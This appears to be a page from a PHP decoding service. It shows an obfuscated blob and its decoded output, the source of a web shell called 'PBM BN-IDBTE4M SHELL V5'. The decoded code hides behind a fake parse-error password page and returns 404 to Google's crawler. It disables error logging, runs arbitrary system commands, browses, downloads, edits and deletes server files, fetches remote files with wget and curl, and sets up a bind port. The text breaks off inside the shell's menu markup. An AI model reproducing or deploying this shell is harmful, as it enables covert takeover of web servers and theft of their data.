Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $sempax = 'eJzsvel220iyLvq/1+p3QGv7tOxtS8JAymK55C4OAEiQAIWZQHVdXUwiQIwCwbG7zrPfSACk..

Decoded Output download

$auth_pass = "ad91637a85478915c22c7f1e60d973ed";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
@define('SELF_PATH', __FILE__);
@setcookie("inject", "active", time() + 3600 * 24 * 7);
if (strpos($_SERVER['HTTP_USER_AGENT'], 'Google') !== false) {
    header('HTTP/1.0 404 Not Found');
    
}
@session_start(); 
@error_reporting(0); 
@ini_set('error_log',NULL); 
@ini_set('log_errors',0); 
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0); 
@ini_set('display_errors', 0);
@set_time_limit(0); 
@set_magic_quotes_runtime(0); 
@define('VERSION', '2.1'); 
if( get_magic_quotes_gpc() ) { 
    function stripslashes_array($array) { 
        return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array); 
    } 
    $_POST = stripslashes_array($_POST); 
} 
function printLogin() { 
    ?> 

<br />
<b>Parse error</b>:  syntax error, unexpected '}' in <b>/home/<?=$_SERVER['HTTP_HOST']?>/</b> on line <b>4366</b><br />


    <style> 
        input { margin:0;background-color:#fff;border:1px solid #fff;color:#fff } 
    </style> 
    <center> 
    <form method=post> 
    <input type=password name=pass> 
    <input type="submit" value=">>>">
    </form></center> 
    <?php 
    exit; 
} 
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] )) 
    if( empty( $auth_pass ) || 
        ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) ) 
        $_SESSION[md5($_SERVER['HTTP_HOST'])] = true; 
    else 
        printLogin();
      
@ini_set('log_errors',0);
@ini_set('output_buffering',0);   
if(isset($_GET['dl']) && ($_GET['dl'] != "")){
   $file = $_GET['dl'];
   $filez = @file_get_contents($file);
   header("Content-type: application/octet-stream"); 
   header("Content-length: ".strlen($filez)); 
   header("Content-disposition: attachment; filename=\"".basename($file)."\";");
   echo $filez; 
    exit; 
}
elseif(isset($_GET['dlgzip']) && ($_GET['dlgzip'] != "")){
   $file = $_GET['dlgzip'];
   $filez = gzencode(@file_get_contents($file));
   header("Content-Type:application/x-gzip
"); 
   header("Content-length: ".strlen($filez)); 
   header("Content-disposition: attachment; filename=\"".basename($file).".gz\";");
   echo $filez; 
    exit; 
}
// view image
if(isset($_GET['img'])){
      @ob_clean(); 
      $d = magicboom($_GET['y']);
      $f = $_GET['img'];
      $inf = @getimagesize($d.$f); 
         $ext = explode($f,"."); 
         $ext = $ext[count($ext)-1]; 
          @header("Content-type: ".$inf["mime"]);
          @header("Cache-control: public"); 
        @header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); 
        @header("Cache-control: max-age=".(60*60*24*7));  
          @readfile($d.$f); 
          exit; 
}

// server software
$software = getenv("SERVER_SOFTWARE");
// check safemode
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")  $safemode = TRUE; else $safemode = FALSE;
// uname -a
$system = @php_uname();
// mysql
function showstat($stat) {if ($stat=="on") {return "<b><font style='color:#00FF00'>ON</font></b>";}else {return "<b><font style='color:#DD4736'>OFF</font></b>";}}
function testmysql() {if (function_exists('mysql_connect')) {return showstat("on");}else {return showstat("off");}}
function testcurl() {if (function_exists('curl_version')) {return showstat("on");}else {return showstat("off");}}
function testwget() {if (exe('wget --help')) {return showstat("on");}else {return showstat("off");}}
function testperl() {if (exe('perl -h')) {return showstat("on");}else {return showstat("off");}}
// check os
if(strtolower(substr($system,0,3)) == "win") $win = TRUE;
else $win = FALSE; 
// change directory
if(isset($_GET['y'])){
   if(@is_dir($_GET['view'])){
      $pwd = $_GET['view'];
      @chdir($pwd);
   }
   else{
      $pwd = $_GET['y'];
      @chdir($pwd);
   }
}
//hdd
function convertByte($s) {
if($s >= 1073741824)
return sprintf('%1.2f',$s / 1073741824 ).' GB';
elseif($s >= 1048576)
return sprintf('%1.2f',$s / 1048576 ) .' MB';
elseif($s >= 1024)
return sprintf('%1.2f',$s / 1024 ) .' KB';
else
return $s .' B';
}

// username, id, shell prompt and working directory
if(!$win){
   if(!$user = rapih(exe("whoami"))) $user = "";
   if(!$id = rapih(exe("id"))) $id = "";
   $prompt = $user." \$ ";
   $pwd = @getcwd().DIRECTORY_SEPARATOR;
}
else {
   $user = @get_current_user();
   $id = $user;
   $prompt = $user." &gt;";
   $pwd = realpath(".")."\";
   // find drive letters
    $v = explode("\",$d); 
   $v = $v[0]; 
    foreach (range("A","Z") as $letter) 
    { 
     $bool = @is_dir($letter.":\");
     if ($bool) 
     { 
         $letters .= "<a href=\"?y=".$letter.":\">[ ";
         if ($letter.":" != $v) {$letters .= $letter;} 
         else {$letters .= "<span class=\"gaya\">".$letter."</span>";} 
         $letters .= " ]</a> "; 
       }    
 } 
}

function testoracle() {
    if (function_exists('ocilogon')) { return showstat("on"); }
    else { return showstat("off"); }
    }

function testmssql() {
    if (function_exists('mssql_connect')) { return showstat("on"); }
    else { return showstat("off"); }
    }

 function showdisablefunctions() {
    if ($disablefunc=@ini_get("disable_functions")){ return "<span style='color:'><font color=#DD4736><b>".$disablefunc."</b></font></span>"; }
    else { return "<span style='color:#00FF1E'><b>NONE</b></span>"; }
    }
   
if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
else $posix = FALSE;
// server ip
$server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);
// your ip ;-)
$my_ip = $_SERVER['REMOTE_ADDR'];
$admin_id=$_SERVER['SERVER_ADMIN'];
$bindport = "13123";
$bindport_pass = "b374k";

// separate the working direcotory
$pwds = explode(DIRECTORY_SEPARATOR,$pwd);
$pwdurl = "";
for($i = 0 ; $i < sizeof($pwds)-1 ; $i++){
   $pathz = "";
   for($j = 0 ; $j <= $i ; $j++){
      $pathz .= $pwds[$j].DIRECTORY_SEPARATOR;
   }
   $pwdurl .= "<a href=\"?y=".$pathz."\">".$pwds[$i]." ".DIRECTORY_SEPARATOR." </a>";
}
   
// rename file or folder
if(isset($_POST['rename'])){
   $old = $_POST['oldname'];
   $new = $_POST['newname'];
   @rename($pwd.$old,$pwd.$new);
   $file = $pwd.$new;
}
if(isset($_POST['chmod'])){ 
   $name = $_POST['name'];
   $value = $_POST['newvalue'];
if (strlen($value)==3){
   $value = 0 . "" . $value;}
   @chmod($pwd.$name,octdec($value));
   $file = $pwd.$name;}
   
if(isset($_POST['chmod_folder'])){
   $name = $_POST['name'];
   $value = $_POST['newvalue'];
if (strlen($value)==3){
   $value = 0 . "" . $value;}
   @chmod($pwd.$name,octdec($value));
   $file = $pwd.$name;}


// print useful info
$buff  = "Software : <b>".$software."</b><br />";
$buff .= "System OS : <b>".$system."</b><br />";
if($id != "") $buff .= "ID : <b>".$id."</b><br />";
$buff .= "PHP Version : <b>".phpversion()."</b> on <b>".php_sapi_name()."</b><br />";
$buff .= "Server ip : <b>".$server_ip."</b> <span class=\"gaya\"> | </span> Your   ip : <b>".$my_ip."</b><span class=\"gaya\"> | </span> Admin : <b>".$admin_id."</b><br />";
$buff .= "Free Disk: "."<span style='color:#00FF1E'><b>".convertByte(disk_free_space("/"))." / ".convertByte(disk_total_space("/"))."</b></span><br />";
if($safemode) $buff .= "Safemode: <span class=\"gaya\"><b>ON</b></span><br />";
else $buff .= "Safemode: <span class=\"gaya\"><b>OFF</b></span><br />";
$buff .= "Disabled Functions: ".showdisablefunctions()."<br />";
$buff .= "MySQL: ".testmysql()."&nbsp;|&nbsp;MSSQL: ".testmssql()."&nbsp;|&nbsp;Oracle: ".testoracle()."&nbsp;|&nbsp;Perl: ".testperl()."&nbsp;|&nbsp;cURL: ".testcurl()."&nbsp;|&nbsp;WGet: ".testwget()."<br>";
$buff .= "<font color=00ff00 ><b>".$letters."&nbsp;&gt;&nbsp;".$pwdurl."</b></font>";




function rapih($text){
   return trim(str_replace("<br />","",$text));
}

function magicboom($text){
   if (!get_magic_quotes_gpc()) {
          return $text;
   } 
   return stripslashes($text);
}

function showdir($pwd,$prompt){
   $fname = array();
   $dname = array();
   if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
   else $posix = FALSE;
   $user = "????:????";
   if($dh = @scandir($pwd)){
      foreach($dh as $file){
         if(is_dir($file)){
            $dname[] = $file;
         }
         elseif(is_file($file)){
            $fname[] = $file;
         }
      }
   }
   else{
      if($dh = @opendir($pwd)){
         while($file = @readdir($dh)){
            if(@is_dir($file)){
               $dname[] = $file;
            }
            elseif(@is_file($file)){
               $fname[] = $file;
            }
         }
         @closedir($dh);
      }
   }

   
   sort($fname);
   sort($dname);
   $path = @explode(DIRECTORY_SEPARATOR,$pwd);
   $tree = @sizeof($path);
   $parent = "";
   $buff = "
   <form action=\"?y=".$pwd."&amp;x=shell\" method=\"post\" style=\"margin:8px 0 0 0;\">
    <table class=\"explore\">
   <tr><th>name</th><th style=\"width:80px;\">size</th><th style=\"width:210px;\">owner:group</th><th style=\"width:80px;\">perms</th><th style=\"width:110px;\">modified</th><th style=\"width:190px;\">actions</th></tr>

   ";
   if($tree > 2) for($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR;
   else $parent = $pwd;  

   foreach($dname as $folder){
      if($folder == ".") {
         if(!$win && $posix){
            $name=@posix_getpwuid(@fileowner($folder));
            $group=@posix_getgrgid(@filegroup($folder));
            $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
         }
         else {
            $owner = $user;
         }
         $buff .= "<tr><td><a href=\"?y=".$pwd."\">$folder</a></td><td>LINK</td>
         <td style=\"text-align:center;\">".$owner."</td><td><center>".substr(sprintf('%o', fileperms($pwd)), -4)."</center></td>
         <td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($pwd))."</td><td><span id=\"titik1\">

         <a href=\"?y=$pwd&amp;edit=".$pwd."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik1','titik1_form');\">newfolder</a></span>
         <form action=\"?\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
         <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
         <input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
         <input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />
         </form></td>
         
         </tr>

         ";
      }
      elseif($folder == "..") {
         if(!$win && $posix){
            $name=@posix_getpwuid(@fileowner($folder));
            $group=@posix_getgrgid(@filegroup($folder));
            $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
         }
         else {
            $owner = $user;
         }
         $buff .= "<tr><td><a href=\"?y=".$parent."\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1gAADdYBkG95nAAAAAd0SU1FB9oJBxUAM0qLz6wAAALLSURBVDjLbVPRS1NRGP+d3btrs7kZmAYXlSZYUK4HQXCREPWUQSSYID1GEKKx/Af25lM+DCFCe4heygcNdIUEST04QW6BjS0yx5UhkW6FEtvOPfc7p4emXcofHPg453y/73e+73cADyzLOoy/bHzR8/l80LbtYD5v6wf72VzOmwLmTe7u7oZlWccbGhpGNJ92HQwtteNvSqmXJOWjM52dPPMpg/Nd5/8SpFIp9Pf3w7KsS4FA4BljrB1HQCmVc4V7O3oh+mFlZQWxWAwskUggkUhgeXk5Fg6HF5mPnWCAAhhTUGCKQUF5eb4LIa729PRknr94/kfBwMDAsXg8/tHv958FoDxP88YeJTLd2xuLAYAPAIaGhu5IKc9yzsE5Z47jYHV19UOpVNoXQsC7OOdwHNG7tLR0EwD0UCis67p2nXMOACiXK7/ev3/3ZHJy8nEymZwyDMM8qExEyjTN9vr6+oAQ4gaAef3ixVgd584pw+DY3d0tTE9Pj6TT6TfBYJCPj4/fBuA/IBBC+GZmZhZbWlrOOY5jDg8Pa3qpVEKlUoHf70cgEGgeHR2NPHgQV4ODt9Ts7KwEQACgaRpSqVdQSrFqtYpqtSpt2wYDYExMTMy3tbVdk1LWpqXebm1t3TdN86mu65FaMw+sE2KM6T9//pgaGxsb1QE4a2trr5uamq55Gn2l+WRzWgihEVH9EX5AJpOZBwANAHK5XKGjo6OvsbHRdF0XRAQpZZ2U0k9EiogYEYGIlJSS2bY9m0wmHwJQWo301/b2diESiVw2jLoQETFyXeWSy4hc5rqHJKxYLGbn5ubuFovF0qECANjf37e/bmzkjDrjdCgUamU+MCIJIgkpiZXLZZnNZhcWFhbubW5ufu7q6sLOzs7/LgPQ3tra2h+NRvvC4fApAHJvb29rfX19qVAovAawd+Rv/Ac+AMcAGLUJVAA4R138DeF+cX+xR/AGAAAAAElFTkSuQmCC'>   $folder</a></td><td>LINK</td>
         <td style=\"text-align:center;\">".$owner."</td>
         <td><center>".substr(sprintf('%o', fileperms($parent)), -4)."</center></td><td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($parent))."</td>

         <td><span id=\"titik2\"><a href=\"?y=$pwd&amp;edit=".$parent."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik2','titik2_form');\">newfolder</a></span>
         <form action=\"?\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
         <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
         <input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
         <input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />
         </form>
         </td></tr>";
      }
      else {
         if(!$win && $posix){
            $name=@posix_getpwuid(@fileowner($folder));
            $group=@posix_getgrgid(@filegroup($folder));
            $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
         }
         else {
            $owner = $user;
         }
         $buff .= "<tr><td><a id=\"".clearspace($folder)."_link\" href=\"?y=".$pwd.$folder.DIRECTORY_SEPARATOR."\"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAQAAAC1+jfqAAAAAXNSR0IArs4c6QAAAAJiS0dEAP+Hj8y/AAAACXBIWXMAAAsTAAALEwEAmpwYAAAA00lEQVQoz6WRvUpDURCEvzmuwR8s8gr2ETvtLSRaKj6ArZU+VVAEwSqvJIhIwiX33nPO2IgayK2cbtmZWT4W/iv9HeacA697NQRY281Fr0du1hJPt90D+xgc6fnwXjC79JWyQdiTfOrf4nk/jZf0cVenIpEQImGjQsVod2cryvH4TEZC30kLjME+KUdRl24ZDQBkryIvtOJggLGri+hbdXgd90e9++hz6rR5jYtzZKsIDzhwFDTQDzZEsTz8CRO5pmVqB240ucRbM7kejTcalBfvn195EV+EajF1hgAAAABJRU5ErkJggg==' />     [ $folder ]</b></a>

         <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
         <input type=\"hidden\" name=\"oldname\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
         <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$folder."\" />
         <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
         <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($folder)."_form','".clearspace($folder)."_link');\" />
         </form><td>DIR</td><td style=\"text-align:center;\">".$owner."</td>
         <td><center>
         <a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\">".substr(sprintf('%o', fileperms($pwd.$folder)), -4)."</a>

         <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form3\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> 
         <input type=\"hidden\" name=\"name\" value=\"".$folder."\" style=\"margin:0;padding:0;\" /> 
         <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($pwd.$folder)), -4)."\" /> 
         <input class=\"inputzbut\" type=\"submit\" name=\"chmod_folder\" value=\"chmod\" /> 
         <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" 
         onclick=\"tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\" /></form></center></td>
         <td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($folder))."</td><td><a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form');\">rename</a> | <a href=\"?y=$pwd&amp;fdelete=".$pwd.$folder."\">delete</a></td></tr>";
      }
   }

   foreach($fname as $file){
      $full = $pwd.$file;
      if(!$win && $posix){
         $name=@posix_getpwuid(@fileowner($folder));
         $group=@posix_getgrgid(@filegroup($folder));
         $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
      }
      else {
         $owner = $user;
      }      
      $buff .= "<tr><td><a id=\"".clearspace($file)."_link\" href=\"?y=$pwd&amp;view=$full\"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=' />   $file</b></a>

      <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
      <input type=\"hidden\" name=\"oldname\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
      <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$file."\" />
      <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
      <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form');\" />
      </form></td><td>".ukuran($full)."</td><td style=\"text-align:center;\">".$owner."</td><td><center>
      <a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\">".substr(sprintf('%o', fileperms($full)), -4)."</a>

      <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form2\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> 
<input type=\"hidden\" name=\"name\" value=\"".$file."\" style=\"margin:0;padding:0;\" /> 
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($full)), -4)."\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"chmod\" value=\"chmod\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\" /></form></center></td>
      <td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($full))."</td>
      <td><a href=\"?y=$pwd&amp;edit=$full\">edit</a> | <a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form');\">rename</a> | <a href=\"?y=$pwd&amp;delete=$full\">delete</a> | <a href=\"?y=$pwd&amp;dl=$full\">download</a>&nbsp;(<a href=\"?y=$pwd&amp;dlgzip=$full\">gzip</a>)</td></tr>";
   }
   $buff .= "</table>";
   return $buff;
}

function ukuran($file){
   if($size = @filesize($file)){
      if($size <= 1024) return $size;
      else{
         if($size <= 1024*1024) {
            $size = @round($size / 1024,2);;
            return "$size kb";
         }
         else {
            $size = @round($size / 1024 / 1024,2);
            return "$size mb";   
         }
      }
   }
   else return "???";
}

function exe($cmd){
   if(function_exists('system')) {
      @ob_start();
      @system($cmd);
      $buff = @ob_get_contents();
      @ob_end_clean();
      return $buff;
   }
   elseif(function_exists('exec')) {
      @exec($cmd,$results);
      $buff = "";
      foreach($results as $result){
         $buff .= $result;
      }
      return $buff;
   }
   elseif(function_exists('passthru')) {
      @ob_start();
      @passthru($cmd);
      $buff = @ob_get_contents();
      @ob_end_clean();
      return $buff;
   }
   elseif(function_exists('shell_exec')){
      $buff = @shell_exec($cmd);
      return $buff;
   }
}

function tulis($file,$text){
   $textz = gzinflate(base64_decode($text));
    if($filez = @fopen($file,"w"))
    {
       @fputs($filez,$textz);
       @fclose($file);
    }
}

function ambil($link,$file) { 
   if($fp = @fopen($link,"r")){
      while(!feof($fp)) { 
             $cont.= @fread($fp,1024); 
         } 
         @fclose($fp); 
      $fp2 = @fopen($file,"w"); 
      @fwrite($fp2,$cont); 
      @fclose($fp2); 
   }
}

function which($pr){
   $path = exe("which $pr");
   if(!empty($path)) { return trim($path); } else { return trim($pr); }
}

function download($cmd,$url){
   $namafile = basename($url);
   switch($cmd) {
      case 'wwget': exe(which('wget')." ".$url." -O ".$namafile);break;
      case 'wlynx': exe(which('lynx')." -source ".$url." > ".$namafile);break;
      case 'wfread' : ambil($wurl,$namafile);break;
      case 'wfetch' : exe(which('fetch')." -o ".$namafile." -p ".$url);break;
      case 'wlinks' : exe(which('links')." -source ".$url." > ".$namafile);break;
      case 'wget' : exe(which('GET')." ".$url." > ".$namafile);break;
      case 'wcurl' : exe(which('curl')." ".$url." -o ".$namafile);break;
      default: break;
   }
   return $namafile;
}

function get_perms($file)
{
   if($mode=@fileperms($file)){
      $perms='';
      $perms .= ($mode & 00400) ? 'r' : '-';
      $perms .= ($mode & 00200) ? 'w' : '-';
      $perms .= ($mode & 00100) ? 'x' : '-';
      $perms .= ($mode & 00040) ? 'r' : '-';
      $perms .= ($mode & 00020) ? 'w' : '-';
      $perms .= ($mode & 00010) ? 'x' : '-';
      $perms .= ($mode & 00004) ? 'r' : '-';
      $perms .= ($mode & 00002) ? 'w' : '-';
      $perms .= ($mode & 00001) ? 'x' : '-';
      return $perms;
   }
   else return "?????";
}

function clearspace($text){
   return str_replace(" ","_",$text);
}
$jumper="3VRRb5swEP4rFwvNRqVAtkmTEiCTpk7aHjppe5rSiBlsilfAyDZrs2r/fefQpM3LfsCEMObuu++7Ox/IutVAMserTkLdcWvzG1L3otIPN6TInMFbQK07O/IBXa/RStbAAttDDmpQ5a10jFreyLLXQtIQ8hzSEDYwQ6huGroCoSQjV8Zos4JvRzC6vwxZ4kSBi/GLT6PIhPp1ykUNjUbNbVlWb969vYN+OSwh89mcILd8z32yHFojm5xuaEHi4OGa9zImWcKR2OMLuBLKKX ? 1dlrssQY0CzpR+zjTwGZ8db+HTIPQgreJ3E7yq9bhfA4kFd5LR7zRyqpcsDGMCz1qwvgxhpibhGqx0pY ? eVneqVYyma3gcjit0LrLzRoxwYTaSrk9lII2ooglQDbPEEDOHR9w4Y2V7u4NBAWMEHPYnhh4Ovkgt4wf ? D/9vIPBONUYdu4MXzP0BJMVhp7Zqn10JwZFL6la7hvVSfZopG6Yce+ho84oM74g8AJtif73H6MLGCZph41 ? aq+CWNwwHxPRFT0mMGCy3jtV6Ji9aeRDPEAo89t/Akmre5nQ+BQR0wSr6VRdtq7vEjqLsmfGBUZRn6O3K1saPGh/nuzA6R2HIstxsu0cZqNTNEq/9KJSNIf5NvorUBcXft9o5K1beGIAbueikF76/wLdftTTIGCxg+NAkM0+PyvnvBRS/MOZHOanMgX14pviLw=="; ?>

<html><head><link rel="SHORTCUT ICON" href="http://idbteamroot.wap.sh/image/favicon.ico"><title>-=[[ PBM BN-IDBTE4M SHELL V5 ]]=-</title>
<script type="text/javascript">
function tukar(lama,baru){
   document.getElementById(lama).style.display = 'none';
   document.getElementById(baru).style.display = 'block';
}
</script>
<style type="text/css">
body{
   background:#000000;;
}
a {
text-decoration:none;
}
a:hover{
border-bottom:1px solid #00ff00;
}
*{
   font-size:11px;
   font-family:Tahoma,Verdana,Arial;
   color:yellow;
}
#menu{
   background:#111111;
   margin:8px 2px 4px 2px;
}
#menu a{
   padding:4px 18px;
   margin:0;
   background:#222222;
   text-decoration:none;
   letter-spacing:2px;
   -moz-border-radius: 5px; -webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;
}
#menu a:hover{
   background:#191919;
   border-bottom:1px solid blue;
   border-top:1px solid blue;
}
.td{
   border:1px solid #FFDD00;
   color:yellow;
   background-color:#000000;
}
.olenk{
   border:1px solid #FFDD00;
   color:yellow;
   background-color:#000000;
}
.olenk1{
   border:1px solid #FFDD00;
   color:yellow;
   background-color:#333333;
}
.olenk2{
   border:1px solid #00FF00;
   color:lime;
   background-color:#000000;
}
.olenk3{
   border:1px solid #00FF00;
   color:lime;
   background:#006600;
}
.olenk4{
   color:lime;
}
.olenk5{
   color:red;
}
.olenk6{
   color:cyan;
}
.tabnet{
   margin:15px auto 0 auto;
   border: 1px solid #333333;
}
.main {
   width:100%;
}
.gaya {
   color: #00ff00;
}
.inputz{
   background:#111111;
   border:0;
   padding:2px;
   border-bottom:1px solid #222222;
   border-top:1px solid #222222;
}
.inputzbut{
   background:#111111;
   color:#00ff00;
   margin:0 4px;
   border:1px solid #444444;

}
.inputz:hover, .inputzbut:hover{
   border-bottom:1px solid #00ff00;
   border-top:1px solid #00ff00;
}
.output {
   margin:auto;
   border:1px solid #00ff00;
   width:100%;
   height:400px;
   background:#000000;
   padding:0 2px;
}
.cmdbox{
   width:100%;
}
.head_info{
   padding: 0 4px;
}
.jaya{ font-family: ;}

.b374k{
   font-size:30px;
   padding:0;
   color:#444444;
}
.b374k_tbl{
   text-align:center;
   margin:0 4px 0 0;
   padding:0 4px 0 0;
   border-right:1px solid #333333;
}
.phpinfo table{
   width:100%;
   padding:0 0 0 0;
}
.phpinfo td{
   background:#111111;
   color:#cccccc;
padding:6px 8px;;
}
.phpinfo th, th{
   background:#191919;
   border-bottom:1px solid #333333;
font-weight:normal;
}
.phpinfo h2, .phpinfo h2 a{
   text-align:center;
   font-size:16px;
   padding:0;
   margin:30px 0 0 0;
   background:#222222;
   padding:4px 0;
}
.explore{
width:100%;
}
.explore a {
text-decoration:none;
}
.explore td{
border-bottom:1px solid #333333;
padding:0 8px;
line-height:24px;
}
.explore th{
padding:3px 8px;
font-weight:normal;
}
.explore th:hover , .phpinfo th:hover{
border-bottom:1px solid #00ff00;
}
.explore tr:hover{
background:#111111;
}
.viewfile{
background:#EDECEB;
color:#000000;
margin:4px 2px;
padding:8px;
}
.sembunyi{
display:none;
padding:0;margin:0;
}

</style></head>
<script language='javascript'>
if (document.all||document.getElementById){
var thetitle=document.title
document.title=''
}
var data="Us3 Y0ur br41n biTch ! ! !";
var done=1;
function statusIn(text){
decrypt(text,22,22);
}
function statusOut(){
self.status='';
done=1;
}
function decrypt(text, max, delay){
if (done){
done = 0;
rantit(text, max, delay, 0, max);
} 
}
function rantit(text, runs_left, delay, charvar, max){
if (!done){
runs_left = runs_left - 1;
var status = text.substring(0,charvar);
for(var current_char = charvar; current_char < text.length; current_char++){
status += data.charAt(Math.round(Math.random()*data.length));
}
document.title = status;
var rerun = "rantit('" + text + "'," + runs_left + "," + delay + "," + charvar + "," + max + ");"
var new_char = charvar + 1;
var next_char = "rantit('" + text + "'," + max + "," + delay + "," + new_char + "," + max + ");"
if(runs_left > 0){
setTimeout(rerun, delay);
}
else{
if (charvar < text.length){
setTimeout(next_char, Math.round(delay*(charvar+3)/(charvar+1)));
}
else
{
done = 1;
}
}
}
}
if (document.all||document.getElementById)
statusIn(thetitle)
</script>

<body onLoad="document.getElementById('cmd').focus();">
<div class="main">
<!-- head info start here -->
<div class="head_info">
<table ><tr>
<td><table class="b374k_tbl"><tr><td><a href="?"><span class="b374k"><img src="http://idbteamroot.wap.sh/image/bn.png" /></span></a></td></tr><tr><td><b>-=[[ PBM 5HELL V5 ]]=-<br>[ Special Edition ]</b></td></tr></table></td>
<td><?php echo $buff; ?></td>

</tr></table>
</div>
<center>

<tr><td>

<center>
<div id="menu" align="center"><table><tr>
<td style=\"text-align:center;\"><nobr><b></b><b><a href="?">HOME</a></b></nobr></td> 
<td style=\"text-align:center;\"><nobr><b><a href="?<?php echo "y=".$pwd; ?>&amp;x=php">EVAL</a></b></nobr></td> 
<td style=\"text-align:center;\"><nobr><b><a href="?<?php echo "y=".$pwd; ?>&amp;x=mysql">SQL 1</a></b></nobr></td> 
